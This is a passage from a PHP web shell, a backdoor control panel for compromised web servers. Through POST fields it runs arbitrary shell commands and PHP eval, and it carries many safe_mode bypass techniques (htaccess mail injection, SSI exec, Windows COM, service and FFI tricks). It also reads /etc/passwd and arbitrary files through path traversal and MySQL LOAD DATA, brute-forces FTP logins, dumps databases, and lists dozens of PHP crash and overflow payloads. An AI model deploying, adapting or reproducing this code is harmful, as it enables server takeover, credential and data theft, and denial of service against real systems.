  2391. foreach ($files as $filename) {
  2392.  
  2393.    echo "$filename\n";
  2394.  
  2395. }
  2396. }
  2397.  
  2398. if(isset($_REQUEST['glob']))
  2399. {
  2400. reg_glob();
  2401. }
  2402.  
  2403. break;
  2404. case 'zend':
  2405.  if(empty($_POST['zend'])){
  2406. } else {
  2407.  
  2408. $dezend=$_POST['zend'];
  2409. include($_POST['zend']);
  2410. print_r($GLOBALS);
  2411. require_once("$dezend");
  2412. echo "</textarea></p>";
  2413. }
  2414. break;
  2415.   case 'plugin':
  2416.   if ($_POST['plugin'] ){
  2417.  
  2418.  
  2419.                                            for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd
  2420.                                         $ara = posix_getpwuid($uid);
  2421.                                                 if (!empty($ara)) {
  2422.                                                   while (list ($key, $val) = each($ara)){
  2423.                                                     print "$val:";
  2424.                                                   }
  2425.                                                   print "\n";
  2426.                                                 }
  2427.                                         }
  2428.                                  echo "</textarea>";
  2429.  
  2430.              }
  2431.         break;
  2432.         case 'command':
  2433.           if (!empty($_POST['command'])) {
  2434.  
  2435.                 if ($method=="system") {
  2436.                 system($_POST['command']);
  2437.                 echo "Functions system";
  2438.                 }
  2439.                 if ($method=="passthru") {
  2440.                 passthru($_POST['command']);
  2441.                 echo "Functions passthru";
  2442.                 }
  2443.                 if ($method=="exec") {
  2444.                         $string = exec($_POST['command']);
  2445.                         echo $string;
  2446.                         echo "Functions exec";
  2447.  
  2448.                 }
  2449.                 if ($method=="shell_exec") {
  2450.                 $string = shell_exec($_POST['command']);
  2451.                 echo $string;
  2452.                 echo "Functions shell_exec";
  2453.                 }
  2454.                 if ($method=="popen") {
  2455.                 $pp = popen($_POST['command'], 'r');
  2456.                 $read = fread($pp, 2096);
  2457.                 echo $read;
  2458.                 pclose($pp);
  2459.                 echo "Functions popen";
  2460.                   }
  2461.  
  2462.       if ($method=="proc_open") {
  2463.  
  2464.  
  2465. $command  = isset($_POST['command'])  ? $_POST['command']  : '';
  2466.  
  2467.  
  2468.  
  2469. /* Load the configuration. */
  2470.  
  2471. /* Default settings --- these settings should always be set to something. */
  2472.  
  2473. /* Merge settings. */
  2474.  
  2475. session_start();
  2476.  
  2477.     if (!empty($command)) {
  2478.         /* Save the command for late use in the JavaScript.  If the command is
  2479.          * already in the history, then the old entry is removed before the
  2480.          * new entry is put into the list at the front. */
  2481.         if (($i = array_search($_POST['command'], $_SESSION['history'])) !== false)
  2482.             unset($_SESSION['history'][$i]);
  2483.  
  2484.         array_unshift($_SESSION['history'], $_POST['command']);
  2485.  
  2486.         /* Now append the commmand to the output. */
  2487.         $_SESSION['output'] .= '$ ' . $_POST['command'] . "\n";
  2488.  
  2489.         /* Initialize the current working directory. */
  2490.         if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_POST['command'])) {
  2491.             $_SESSION['cwd'] = realpath($ini['settings']['home-directory']);
  2492.         } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_POST['command'], $regs)) {
  2493.             /* The current command is a 'cd' command which we have to handle
  2494.              * as an internal shell command. */
  2495.  
  2496.             if ($regs[1]{0} == '/') {
  2497.                 /* Absolute path, we use it unchanged. */
  2498.                 $new_dir = $regs[1];
  2499.             } else {
  2500.                 /* Relative path, we append it to the current working
  2501.                  * directory. */
  2502.                 $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
  2503.             }
  2504.  
  2505.             /* Transform '/./' into '/' */
  2506.             while (strpos($new_dir, '/./') !== false)
  2507.                 $new_dir = str_replace('/./', '/', $new_dir);
  2508.  
  2509.             /* Transform '//' into '/' */
  2510.             while (strpos($new_dir, '//') !== false)
  2511.                 $new_dir = str_replace('//', '/', $new_dir);
  2512.  
  2513.             /* Transform 'x/..' into '' */
  2514.             while (preg_match('|/\.\.(?!\.)|', $new_dir))
  2515.                 $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
  2516.  
  2517.             if ($new_dir == '') $new_dir = '/';
  2518.  
  2519.             /* Try to change directory. */
  2520.             if (@chdir($new_dir)) {
  2521.                 $_SESSION['cwd'] = $new_dir;
  2522.             } else {
  2523.                 $_SESSION['output'] .= "cd: could not change to: $new_dir\n";
  2524.             }
  2525.  
  2526.         } elseif (trim($_POST['command']) == 'exit') {
  2527.             logout();
  2528.         } else {
  2529.  
  2530.             /* The command is not an internal command, so we execute it after
  2531.              * changing the directory and save the output. */
  2532.             chdir($_SESSION['cwd']);
  2533.  
  2534.             // We canot use putenv() in safe mode.
  2535.             if (!ini_get('safe_mode')) {
  2536.                 // Advice programs (ls for example) of the terminal size.
  2537.                 putenv('ROWS=' . $rows);
  2538.                 putenv('COLUMNS=' . $columns);
  2539.             }
  2540.  
  2541.             /* Alias expansion. */
  2542.             $length = strcspn($_POST['command'], " \t");
  2543.             $token = substr($_POST['command'], 0, $length);
  2544.             if (isset($ini['aliases'][$token]))
  2545.                 $command = $ini['aliases'][$token] . substr($_POST['command'], $length);
  2546.  
  2547.             $io = array();
  2548.             $p = proc_open($_POST['command'],
  2549.                            array(1 => array('pipe', 'w'),
  2550.                                  2 => array('pipe', 'w')),
  2551.                            $io);
  2552.  
  2553.             /* Read output sent to stdout. */
  2554.             while (!feof($io[1])) {
  2555.                 $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
  2556.                                                         ENT_COMPAT, 'UTF-8');
  2557.             }
  2558.             /* Read output sent to stderr. */
  2559.             while (!feof($io[2])) {
  2560.                 $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
  2561.                                                         ENT_COMPAT, 'UTF-8');
  2562.             }
  2563.  
  2564.             fclose($io[1]);
  2565.             fclose($io[2]);
  2566.             proc_close($p);
  2567.         }
  2568.     }
  2569.  
  2570.     /* Build the command history for use in the JavaScript */
  2571.     if (empty($_SESSION['history'])) {
  2572.         $js_command_hist = '""';
  2573.     } else {
  2574.         $escaped = array_map('addslashes', $_SESSION['history']);
  2575.         $js_command_hist = '"", "' . implode('", "', $escaped) . '"';
  2576.     }
  2577.                }
  2578.                     }
  2579.  
  2580.  
  2581.         break;
  2582.   case 'test10':
  2583.   @error_log($_POST['test10_content'], 3,"php://../../".$_POST['test10_file']);
  2584.   break;
  2585.   case 'test11':
  2586.   if(file_exists("./result.txt") && file_exists("./.htaccess"))
  2587.    {
  2588.    @unlink("./.htaccess");
  2589.    @unlink("./result.txt");
  2590.    }
  2591.    if ($handle = @fopen("./.htaccess", 'w')) { @fwrite($handle, "php_value mail.force_extra_parameters '-t && ".$_POST['test11_cmd']." > ".dirname($_SERVER["SCRIPT_FILENAME"])."/result.txt'"); mail("", "", ""); }
  2592.    //while(!file_exists(dirname($_SERVER["SCRIPT_FILENAME"])."/result.txt")) sleep(1);
  2593.    if($lines) foreach ($lines as $line) { echo htmlspecialchars($line); }
  2594.   break;
  2595.   case 'test12':
  2596.   if ($handle = @fopen("./.htaccess", 'w')) { @fwrite($handle, "AddType text/html .shtml\r\nAddHandler server-parsed .shtml\r\nOptions +Includes"); }
  2597.   if ($handle = @fopen("./cmdssi.shtml", 'w')) { @fwrite($handle, '<!--#exec cmd="'.$_POST['test12_cmd'].'"-->'); }
  2598.   // url_fopen могет порезать эту хрень... тогда просто открывать ссылку
  2599.   @include("http://".$_SERVER['HTTP_HOST'].rtrim(dirname($_SERVER['PHP_SELF']),'/\\')."/cmdssi.shtml");
  2600.   break;
  2601.   case 'test13':
  2602.   $tmp = '';
  2603.   if(@is_writable($_ENV['TMP'])) $tmp=$_ENV['TMP'];
  2604.   elseif(@is_writeable(ini_get('session.save_path'))) $tmp=ini_get('session.save_path');
  2605.   elseif(@is_writeable(ini_get('upload_tmp_dir'))) $tmp=ini_get('upload_tmp_dir');
  2606.   elseif(@is_writeable(dirname(__FILE__))) $tmp=dirname(__FILE__);
  2607.   else break;
  2608.   @unlink($tmp.'/result_test13.txt');
  2609.   $wscript = new COM('wscript.shell');
  2610.   $wscript->Run('cmd.exe /c "'.$_POST['test13_cmd'].'" > '.$tmp.'/result_test13.txt');
  2611.   while(!file_exists($tmp.'/result_test13.txt')) sleep(1);
  2612.   $lines = @file ($tmp.'/result_test13.txt');
  2613.   if($lines) foreach ($lines as $line) { echo htmlspecialchars($line); }
  2614.   @unlink($tmp.'/result_test13.txt');
  2615.   break;
  2616.   case 'test14':
  2617.   $ioncube = @ioncube_read_file($_POST['test14_cmd']);
  2618.   echo htmlspecialchars($ioncube);
  2619.   break;
  2620.   case 'test15':
  2621.   $tmp = '';
  2622.   if(@is_writable($_ENV['TMP'])) $tmp=$_ENV['TMP'];
  2623.   elseif(@is_writeable(ini_get('session.save_path'))) $tmp=ini_get('session.save_path');
  2624.   elseif(@is_writeable(ini_get('upload_tmp_dir'))) $tmp=ini_get('upload_tmp_dir');
  2625.   elseif(@is_writeable(dirname(__FILE__))) $tmp=dirname(__FILE__);
  2626.   else break;
  2627.   @unlink($tmp.'/result_test15.txt');
  2628.   @win_shell_execute("cmd.exe","","/c ".$_POST['test15_cmd']." > ".$tmp."/result_test15.txt");
  2629.   while(!file_exists($tmp.'/result_test15.txt')) sleep(1);
  2630.   $lines = @file ($tmp.'/result_test15.txt');
  2631.   if($lines) foreach ($lines as $line) { echo htmlspecialchars($line); }
  2632.   @unlink($tmp.'/result_test15.txt');
  2633.   break;
  2634.   case 'test16':
  2635.   $tmp = '';
  2636.   if(@is_writable($_ENV['TMP'])) $tmp=$_ENV['TMP'];
  2637.   elseif(@is_writeable(ini_get('session.save_path'))) $tmp=ini_get('session.save_path');
  2638.   if(@is_writeable(ini_get('upload_tmp_dir'))) $tmp=ini_get('upload_tmp_dir');
  2639.   elseif(@is_writeable(dirname(__FILE__))) $tmp=dirname(__FILE__);
  2640.   else break;
  2641.   $name=$tmp."\\".uniqid();
  2642.   $n=uniqid();
  2643.   $cmd=(empty($_SERVER['COMSPEC']))?'c:\\windows\\system32\\cmd.exe':$_SERVER['COMSPEC'];
  2644.   win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c ".$_POST['test16_cmd']." >\"$name\""));
  2645.   win32_start_service($n);
  2646.   win32_stop_service($n);
  2647.   win32_delete_service($n);
  2648.   while(!file_exists($name)) sleep(1);
  2649.   $exec=file_get_contents($name);
  2650.   unlink($name);
  2651.   echo htmlspecialchars($exec);
  2652.   break;
  2653.   case 'test17':
  2654.   $_POST['test17_cmd'] = str_replace('\\','\\\\',$_POST['test17_cmd']);
  2655.   $perl = new Perl();
  2656.   $perl->eval('print `'.$_POST['test17_cmd'].'`');
  2657.   break;
  2658.   case 'test18':
  2659.   if(@is_writable($_ENV['TMP'])) $tmp=$_ENV['TMP'];
  2660.   elseif(@is_writeable(ini_get('session.save_path'))) $tmp=ini_get('session.save_path');
  2661.   if(@is_writeable(ini_get('upload_tmp_dir'))) $tmp=ini_get('upload_tmp_dir');
  2662.   elseif(@is_writeable(dirname(__FILE__))) $tmp=dirname(__FILE__);
  2663.   else break;
  2664.   $name=$tmp."\\".uniqid();
  2665.   $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
  2666.   $res=$api->WinExec("cmd.exe /c ".$_POST['test18_cmd']." >\"$name\"",0);
  2667.   while(!file_exists($name)) sleep(1);
  2668.   $exec=file_get_contents($name);
  2669.   unlink($name);
  2670.   echo htmlspecialchars($exec);
  2671.   break;
  2672.   case 'test19':
  2673.  
  2674. if(Empty($test19) aNd Empty($_GET['test19']) aNd Empty($_POST['test19'])) diE("\n".$karatonik);
  2675.  
  2676. if(!empty($_GET['test19'])) $file=$_GET['test19'];
  2677. if(!empty($_POST['test19'])) $file=$_POST['test19'];
  2678.  
  2679.  
  2680. if((curl_exec(curl_init("file:http://../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../".$file))) aNd !emptY($file)) die("<B><br>Ngu trong rung</B></FONT>");
  2681. elseif(!emptY($file)) die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
  2682. <B>".htmlspecialchars($file)."</B> doesn't exists or you don't have
  2683. permissions.</CENTER></FONT>");Beark;
  2684. case 'test20':
  2685. @ob_clean();
  2686.   $error_reporting = @ini_get('error_reporting');
  2687.   error_reporting(E_ALL ^ E_NOTICE);
  2688.   @ini_set("display_errors", 1);
  2689.   @ini_alter("display_errors", 1);
  2690.   $str=@fopen($_POST['test20_file'],"r");
  2691.   while(!feof($str)){print htmlspecialchars(fgets($str));}
  2692.   fclose($str);
  2693.   error_reporting($error_reporting);
  2694.   break;
  2695. case 'test21':
  2696. $filen=$_POST['test21_file'];
  2697. @fopen('srpath://../../../../../../../../../../../'.$_POST['test21_file'],"a");
  2698. if (file_exists($filen))
  2699. {
  2700. echo $lang[$language.'_text61'];
  2701. }
  2702. else
  2703. echo "Can't write file";
  2704.  
  2705.   break;
  2706. case 'test22':
  2707.        echo "PHP realpath() listing directory Safe_mode bypass Exploit\r\n\r\n";
  2708.        if(!$dir){$dir='/etc/';};
  2709.        if(!empty($_POST['end_rlph'])){$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';}
  2710.        if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';}
  2711.  
  2712.        if($realpath=realpath($dir.'/')){echo $realpath."\r\n";}
  2713.        if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo $realpath."\r\n";}
  2714.        foreach($presets_rlph as $preset_rlph){
  2715.            if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo $realpath."\r\n";}
  2716.        }
  2717.        for($i=0; $i < strlen($chars_rlph); $i++){
  2718.           if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."\r\n";}
  2719.           if($n_rlph<=1){continue;};
  2720.           for($j=0; $j < strlen($chars_rlph); $j++){
  2721.              if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."\r\n";}
  2722.              if($n_rlph<=2){continue;};
  2723.              for($x=0; $x < strlen($chars_rlph); $x++){
  2724.                 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."\r\n";}
  2725.                 if($n_rlph<=3){continue;};
  2726.                 for($y=0; $y < strlen($chars_rlph); $y++){
  2727.                    if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."\r\n";}
  2728.                    if($n_rlph<=4){continue;};
  2729.                    for($z=0; $z < strlen($chars_rlph); $z++){
  2730.                       if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."\r\n";}
  2731.                       if($n_rlph<=5){continue;};
  2732.                       for($w=0; $w < strlen($chars_rlph); $w++){
  2733.                          if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."\r\n";}
  2734.                   }
  2735.                }
  2736.                  }
  2737.               }
  2738.           }
  2739.        }
  2740.        echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
  2741.  break;
  2742. case 'test23':
  2743.   @session_save_path($_POST['test23_file2']."\0;$tempdir");
  2744.   @session_start();
  2745.   @$_SESSION[php]=$_POST['test23_file1'];
  2746.   $filen=$_POST['test23_file2'];
  2747.     if(file_exists($filen))
  2748.     echo $lang[$language.'_text61']."  ".$filen;
  2749.     else
  2750.   echo "Can't write file";
  2751.   break;
  2752. case 'test24':
  2753. @putenv("TMPDIR=".$_POST['test24_file2']);
  2754.   @ini_set("session.save_path", "");
  2755.   @ini_alter("session.save_path", "");
  2756.   @session_start();
  2757.   @$_SESSION[php]=$_POST['test24_file1'];
  2758.   $filen=$_POST['test24_file2'];
  2759.   if(file_exists($filen))
  2760.   echo $lang[$language.'_text61']."  ".$filen;
  2761.   else
  2762.   echo "Can't write file";
  2763.   break;
  2764. case 'test25':
  2765.   @readfile($_POST['test25_file1'], 3, "php://../../../../../../../../../../../".$_POST['test24_file2']);
  2766.   $filen=$_POST['test25_file2'];
  2767.   if(file_exists($filen))
  2768.   echo $lang[$language.'_text61'];
  2769.   else
  2770.   echo "Can't write file";
  2771.   break;
  2772. break;
  2773.  
  2774.  }
  2775. }
  2776. else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
  2777.  $cmd_rep = ex($_POST['cmd']);
  2778.  if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
  2779.  else { echo @htmlspecialchars($cmd_rep)."\n"; }}
  2780.  
  2781.  switch($_POST['cmd'])
  2782.  {
  2783.   case 'dos1':
  2784.   function a() { a(); } a();
  2785.   break;
  2786.   case 'dos2':
  2787.   @pack("d4294967297", 2);
  2788.   break;
  2789.   case 'dos3':
  2790.   $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a)));
  2791.   break;
  2792.   case 'dos4':
  2793.   $t = array(1);while (1) {$a[] = &$t;};
  2794.   break;
  2795.   case 'dos5':
  2796.   @dl("sqlite.so");$db = new SqliteDatabase("foo");
  2797.   break;
  2798.   case 'dos6':
  2799.   preg_match('/(.(?!b))*/', @str_repeat("a", 10000));
  2800.   break;
  2801.   case 'dos7':
  2802.   @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538));
  2803.   break;
  2804.   case 'dos8':
  2805.   @shell_exec("killall -11 httpd");
  2806.   break;
  2807.   case 'dos9':
  2808.   function cx(){ @tempnam("/www/", '../../../../../..'.$tempdir.'cx'); cx(); } cx();
  2809.   break;
  2810.   case 'dos10':
  2811.   $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
  2812.   break;
  2813.   case 'dos11':
  2814.   @array_fill(1,123456789,"Infigo-IS");
  2815.   break;
  2816.   case 'dos12':
  2817.   @substr_compare("A","A",12345678);
  2818.   break;
  2819.   case 'dos13':
  2820.   @unserialize("a:2147483649:{");
  2821.   break;
  2822.   case 'dos14':
  2823.   $Data = @str_ireplace("\n", "<br>", $Data);
  2824.   break;
  2825.   case 'dos15':
  2826.   function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);}
  2827.   $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);}
  2828.   @htmlentities($str1, ENT_NOQUOTES, "UTF-8");
  2829.   break;
  2830.   case 'dos16':
  2831.   $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e);
  2832.   for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
  2833.   unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]);
  2834.   break;
  2835.   case 'dos17':
  2836.   $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
  2837.   $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
  2838.   $x = "AQ                                                                        ";
  2839.   unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
  2840.   break;
  2841.   case 'dos18':
  2842.   $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600);
  2843.   if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
  2844.   echo "Msg not sent because $msg_err\n";
  2845.   if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
  2846.   echo "$msg\n";
  2847.   } else { echo "Received $msg_error fetching message\n"; break; }
  2848.   @msg_remove_queue ($msg_id);
  2849.   break;
  2850.   case 'dos19':
  2851.   $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r");
  2852.   break;
  2853.   case 'dos20':
  2854.   $hashtable = str_repeat("A", 39);
  2855.   $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
  2856.   $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
  2857.   $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
  2858.   for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; }
  2859.   $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
  2860.   @unserialize($str);
  2861.   break;
  2862.   case 'dos21':
  2863.   imagecreatetruecolor(1234,1073741824);
  2864.   break;
  2865.   case 'dos22':
  2866.   imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),imagecreatetruecolor(120, 120), 0, 0, 0, 0, 0x7fffffff, 120, 120, 120);
  2867.   break;
  2868.   case 'dos23':
  2869.   $a = str_repeat ("A",9989776); $b = str_repeat("/", 2798349); iconv_substr($a,0,1,$b);
  2870.   break;
  2871.   case 'dos24':
  2872.   setlocale(LC_COLLATE, str_repeat("A", 34438013));
  2873.   break;
  2874.   case 'dos25':
  2875.   glob(str_repeat("A", 9638013));
  2876.   break;
  2877.   case 'dos26':
  2878.   glob("a",-1);
  2879.   break;
  2880.   case 'dos27':
  2881.   fnmatch("*[1]e", str_repeat("A", 9638013));
  2882.   break;
  2883.   case 'dos28':
  2884.   if (extension_loaded("gd")){ $buff = str_repeat("A",9999); $res = imagepsloadfont($buff); echo "boom!!\n";}
  2885.   break;
  2886.   case 'dos29':
  2887.   if(function_exists('msql_connect')){ msql_pconnect(str_repeat('A',49424).'BBBB'); msql_connect(str_repeat('A',49424).'BBBB');}
  2888.   break;
  2889.   case 'dos30':
  2890.   $a=str_repeat("A", 65535);  $b=1;  $c=str_repeat("A", 65535);  chunk_split($a,$b,$c);
  2891.   break;
  2892.   case 'dos31':
  2893.   if (extension_loaded("win32std") ) { win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );}
  2894.   break;
  2895.   case 'dos32':
  2896.   if (extension_loaded( "iisfunc" ) ){ $buf_unicode = str_repeat( "A", 256 ); $eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode );}
  2897.   break;
  2898.   case 'dos33':
  2899.   $buff = str_repeat("\x41", 250);$get_EIP = "\x42\x42";$get_ESP = str_repeat("\x43", 100);$get_EBP = str_repeat("\x44", 100);ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
  2900.   break;
  2901.   case 'dos34':
  2902.   if (extension_loaded("bz2")){ $buff = str_repeat("a",1000); com_print_typeinfo($buff);}
  2903.   break;
  2904.   case 'dos35':
  2905.   $a = str_repeat("/", 4199000); iconv(1, $a, 1);
  2906.   break;
  2907.   case 'dos36':
  2908.   $a = str_repeat("/", 2991370); iconv_mime_decode_headers(0, 1, $a);
  2909.   break;
  2910.   case 'dos37':
  2911.   $a = str_repeat("/", 3799000); iconv_mime_decode(1, 0, $a);
  2912.  break;
  2913. break;
  2914.  case 'dos38':
  2915.  $a = str_repeat("/", 9791999); iconv_strlen(1, $a);
  2916.  break;
  2917. }
  2918. if ($_POST['cmd']=="Alucar_mysql")
  2919.  {
  2920.   if(empty($_POST['test3_sr'])) { $_POST['test3_sr'] = "localhost"; }
  2921.   if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
  2922.   $db = @mysql_connect($_POST['test3_sr'].':'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
  2923.   if($db)
  2924.    {
  2925.    if(@mysql_select_db($_POST['test3_md'],$db))
  2926.     {
  2927.      @mysql_query("DROP TABLE IF EXISTS Alucar");
  2928.      @mysql_query("CREATE TABLE `Alucar` ( `file` LONGBLOB NOT NULL )");
  2929.      @mysql_query("LOAD DATA LOCAL INFILE \"".str_replace('\\','/',$_POST['test3_file'])."\" INTO TABLE Alucar FIELDS TERMINATED BY '' ESCAPED BY '' LINES TERMINATED BY '\n'");
  2930.      $r = @mysql_query("SELECT * FROM Alucar");
  2931.      while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
  2932.      @mysql_query("DROP TABLE IF EXISTS Alucar");
  2933.     }
  2934.     else echo "[-] ERROR! Can't select database";
  2935.    @mysql_close($db);
  2936.    }
  2937.   else echo "[-] ERROR! Can't connect to mysql server";
  2938.  }
  2939. if ($_POST['cmd']=="ftp_brute")
  2940.  {
  2941.  $suc = 0;
  2942.  foreach($users as $user)
  2943.   {
  2944.   $connection = @ftp_connect($ftp_server,$ftp_port,10);
  2945.   if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
  2946.   else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
  2947.   @ftp_close($connection);
  2948.   }
  2949.  echo "\r\n-------------------------------------\r\n";
  2950.  $count = count($users);
  2951.  if(isset($_POST['reverse'])) { $count *= 2; }
  2952.  echo $lang[$language.'_text97'].$count."\r\n";
  2953.  echo $lang[$language.'_text98'].$suc."\r\n";
  2954.  }
  2955. if ($_POST['cmd']=="php_eval"){
  2956.  $eval = @str_replace("<?","",$_POST['php_eval']);
  2957.  $eval = @str_replace("?>","",$eval);
  2958.  @eval($eval);}
  2959. if ($_POST['cmd']=="mysql_dump")
  2960.  {
  2961.   if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
  2962.   $sql = new my_sql();
  2963.   $sql->db   = $_POST['db'];
  2964.   $sql->host = $_POST['db_server'];
  2965.   $sql->port = $_POST['db_port'];
  2966.   $sql->user = $_POST['mysql_l'];
  2967.   $sql->pass = $_POST['mysql_p'];
  2968.   $sql->base = $_POST['mysql_db'];
  2969.   if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
  2970.   else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
  2971.   else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
  2972.   else {
  2973.    if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
  2974.    else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); }
  2975.    else { echo "[-] ERROR! Can't write in dump file"; }
  2976.    }
  2977.  }
  2978. echo "</textarea></div>";
  2979. echo "</b>";
  2980. echo "</td></tr></table>";
  2981. echo "<table width=100% cellpadding=0 cellspacing=0>";
  2982. function div_title($title, $id)
  2983. {
  2984.   return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
  2985. }
  2986. function div($id)
  2987.  {
  2988.  if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">';
  2989.  return '<div id="'.$id.'">';
  2990.  }
  2991. if(!$safe_mode){
  2992. echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
  2993. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
  2994. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2995. echo $te.'</div>'.$table_end1.$fe;
  2996. }
  2997. else{
  2998. echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
  2999. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
  3000. echo $te.'</div>'.$table_end1.$fe;
  3001.  
  3002. echo $fs.$table_up1.div_title($lang[$language.'_text208'],'id15').$table_up2.div('id15').$ts;
  3003. echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select name=\"method\">
  3004.                             <option value=\"system\" <? if ($method==\"system\") { echo \"selected\"; } ?>system</option>
  3005.                             <option value=\"passthru\" <? if ($method==\"passthru\") { echo \"selected\"; } ?>passthru</option>
  3006.                             <option value=\"exec\" <? if ($method==\"exec\") { echo \"selected\"; } ?>exec</option>
  3007.                             <option value=\"shell_exec\" <? if ($method==\"shell_exec\") { echo \"selected\"; } ?>shell_exec</option>
  3008.                             <option value=\"popen\" <? if ($method==\"popen\") { echo \"selected\"; } ?>popen</option>
  3009.                             <option value=\"proc_open\" <? if ($method==\"proc_open\") { echo \"selected\"; } ?>proc_open</option>
  3010.                       </select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text3'].$arrow."</b>".in('text','command',54,(!empty($_POST['command'])?($_POST['command']):("id"))).in('hidden','cmd',0,'command').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  3011. echo $te.'</div>'.$table_end1.$fe;
  3012.  
  3013.  
  3014.  
  3015. echo $fs.$table_up1.div_title($lang[$language.'_text203'],'id411').$table_up2.div('id411').$ts;
  3016. echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','ini_restore',85,'/etc/passwd').in('hidden','cmd',0,'ini_restore').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
